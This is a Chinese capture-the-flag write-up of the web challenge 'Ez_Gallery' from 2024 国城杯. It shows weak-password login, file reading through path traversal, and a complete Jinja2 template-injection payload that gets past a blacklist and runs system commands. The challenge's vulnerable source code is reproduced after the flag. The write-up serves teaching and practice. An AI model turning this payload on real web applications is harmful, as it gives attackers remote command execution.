2024国城杯WEB题解_Ez_Gallery

admin 2024年12月10日12:47:16评论23 views字数 5887阅读19分37秒阅读模式
2024国城杯WEB题解_Ez_Gallery
2024国城杯WEB题解_Ez_Gallery
鼎新安全
2024国城杯WEB题解_Ez_Gallery
更多资料
持续关注

2024国城杯WEB题解_Ez_Gallery

2024国城杯WEB题解_Ez_Gallery

既然登录密码为纯数字,我们就猜测,把常用的都猜一遍,实在不行我们再利用bp插件进行识别爆破!

2024国城杯WEB题解_Ez_Gallery

2024国城杯WEB题解_Ez_Gallery

账号密码为:

admin:123456

即可登录成功!

2024国城杯WEB题解_Ez_Gallery

2024国城杯WEB题解_Ez_Gallery

随便点击一下发现url存在file参数,那么很有可能存在文件包含漏洞的!

2024国城杯WEB题解_Ez_Gallery

果然存在!

2024国城杯WEB题解_Ez_Gallery

但是这里不可能这么简单的,我们尝试读取其他文件!

我们直接读当前正在运行的进程的命令行参数! => /proc/self/cmdline

2024国城杯WEB题解_Ez_Gallery

可以看到,正在运行app.py,我们尝试读取!

2024国城杯WEB题解_Ez_Gallery

格式化!

2024国城杯WEB题解_Ez_Gallery

可以看到账号密码验证!

2024国城杯WEB题解_Ez_Gallery

这里可以发现存在shell路由,我们跟进查看!

2024国城杯WEB题解_Ez_Gallery

这里存在get传参=>shellcmd,并且我们传入的参数是经过jinja2模板渲染的,所以这就是一道加了waf的ssti模板注入题!

2024国城杯WEB题解_Ez_Gallery

虽然我们拿到了ssti模板注入的参数,但是渲染后不回显,很头疼,而且还有waf!

2024国城杯WEB题解_Ez_Gallery

waf过滤了一些构造数字的函数,其中包括数字!

我们采用ssti的一些不常用的回显方式!

参考链接:

https://xz.aliyun.com/t/15994?time__1311=GqjxcD2DnAY4lxGghDyDIg8QrbCACEioD%

这里我尝试构造了很久,但是还是没出来,甚至怀疑起了题目,直到看完官方wp,是我的错!

# payload
{{cycler['__init__']['__globals__']['__builtins__']['setattr'](cycler['__init__']['__globals__']['__builtins__']['__import__']('sys')['modules']['wsgiref']['simple_server']['ServerHandler'],'http_version',cycler['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']())}}

解读:

1、访问内置函数:cycler:在python ssti模板引擎中用于循环或迭代数据2、导入模块:cycler['__init__']['__globals__']['__builtins__']:通过 cycler 对象访问初始化函数的 __globals__ 字典,从而进行访问内置函数。cycler['__init__']['__globals__']['__builtins__']['__import__']('sys'):使用内置的 __import__ 函数导入 sys 模块。cycler['__init__']['__globals__']['__builtins__']['__import__']('os'):使用内置的 __import__ 函数导入 os 模块。3、执行系统命令cycler['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']():使用 os.popen('ls') 执行系统命令 ls, 然后读取并输出。4、修改属性:使用 setattr 函数将 wsgiref.simple_server.ServerHandler 类的 http_version 属性设置为 ls 命令的输出。
因为过滤了点,所以这里使用 [''] 绕过
知识点:cycler:在python ssti模板引擎中用于循环或迭代数据!setattr:setattr 是 Python 内置函数之一,可以用来设置对象的属性。例如:setattr(object, name, value)!modules: 这是一个字典,存储了当前解释器中所有已导入的模块。通过 sys.modules,我们可以访问和操作这些已导入的模块。wsgiref:是 Python 标准库中的一个模块,用于实现 WSGI协议。WSGI 是 Python Web 应用程序与 Web 服务器之间的标准接口,允许不同的 Web 服务器和框架之间进行互操作。所以这里可以使用wsgiref.simple_server创建一个简单的WSGI服务器!ServerHandler:它是 wsgiref.handlers 模块中的一个类,用于处理 WSGI 请求。它继承自 BaseHandler,并提供了一些额外的功能,如处理 HTTP 请求和响应。http_version:它是 wsgiref.handlers.BaseHandler 类中的一个属性,用于表示 HTTP 协议的版本。在 WSGI 处理请求的过程中,http_version 属性的值通常会被设置为 "HTTP/1.0" 或 "HTTP/1.1",具体取决于客户端请求的协议版本。
2024国城杯WEB题解_Ez_Gallery

2024国城杯WEB题解_Ez_Gallery

拿到flag!

D0g3xGC{79fa3dea-d230-4bf1-adf3-fccb5317bf39}
import jinja2from pyramid.config import Configuratorfrom pyramid.httpexceptions import HTTPFoundfrom pyramid.response import Responsefrom pyramid.session import SignedCookieSessionFactoryfrom wsgiref.simple_server import make_serverfrom Captcha import captcha_image_view, captcha_storeimport reimport osclass User:    def __init__(self, username, password):        self.username = username        self.password = passwordusers = {"admin": User("admin", "123456")}def root_view(request):    # 重定向到 /login    return HTTPFound(location="/login")def info_view(request):    # 查看细节内容    if request.session.get("username") != "admin":        return Response("请先登录", status=403)    file_name = request.params.get("file")    file_base, file_extension = os.path.splitext(file_name)    if file_name:        file_path = os.path.join("/app/static/details/", file_name)        try:            with open(file_path, "r", encoding="utf-8") as f:                content = f.read()            print(content)        except FileNotFoundError:            content = "文件未找到。"    else:        content = "未提供文件名。"    return {"file_name": file_name, "content": content, "file_base": file_base}def home_view(request):    # 主路由    if request.session.get("username") != "admin":        return Response("请先登录", status=403)    detailtxt = os.listdir("/app/static/details/")    picture_list = [i[: i.index(".")] for i in detailtxt]    file_contents = {}    for picture in picture_list:        with open(f"/app/static/details/{picture}.txt", "r", encoding="utf-8") as f:            file_contents[picture] = f.read(80)    return {"picture_list": picture_list, "file_contents": file_contents}def login_view(request):    if request.method == "POST":        username = request.POST.get("username")        password = request.POST.get("password")        user_captcha = request.POST.get("captcha", "").upper()        if user_captcha != captcha_store.get("captcha_text", ""):            return Response("验证码错误,请重试。")        user = users.get(username)        if user and user.password == password:            request.session["username"] = username            return Response("登录成功!<a href='/home'>点击进入主页</a>")        else:            return Response("用户名或密码错误。")    return {}def shell_view(request):    if request.session.get("username") != "admin":        return Response("请先登录", status=403)    expression = request.GET.get("shellcmd", "")    blacklist_patterns = [        r".*length.*",        r".*count.*",        r".*[0-9].*",        r".*..*",        r".*soft.*",        r".*%.*",    ]    if any(re.search(pattern, expression) for pattern in blacklist_patterns):        return Response("wafwafwaf")    try:        result = (            jinja2.Environment(loader=jinja2.BaseLoader())            .from_string(expression)            .render({"request": request})        )        if result != None:            return Response("success")        else:            return Response("error")    except Exception as e:        return Response("error")def main():    session_factory = SignedCookieSessionFactory("secret_key")    with Configurator(session_factory=session_factory) as config:        config.include("pyramid_chameleon")  # 添加渲染模板        config.add_static_view(name="static", path="/app/static")        config.set_default_permission("view")  # 设置默认权限为view        # 注册路由        config.add_route("root", "/")        config.add_route("captcha", "/captcha")        config.add_route("home", "/home")        config.add_route("info", "/info")        config.add_route("login", "/login")        config.add_route("shell", "/shell")        # 注册视图        config.add_view(root_view, route_name="root")        config.add_view(captcha_image_view, route_name="captcha")        config.add_view(            home_view, route_name="home", renderer="home.pt", permission="view"        )        config.add_view(            info_view, route_name="info", renderer="details.pt", permission="view"        )        config.add_view(login_view, route_name="login", renderer="login.pt")        config.add_view(            shell_view, route_name="shell", renderer="string", permission="view"        )        config.scan()        app = config.make_wsgi_app()    return appif __name__ == "__main__":    app = main()    server = make_server("0.0.0.0", 6543, app)    server.serve_forever()

2024国城杯WEB题解_Ez_Gallery

END
2024国城杯WEB题解_Ez_Gallery

注:鼎星安全有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

原文始发于微信公众号(鼎新安全):2024国城杯WEB题解_Ez_Gallery

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月10日12:47:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024国城杯WEB题解_Ez_Galleryhttps://cn-sec.com/archives/3490396.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息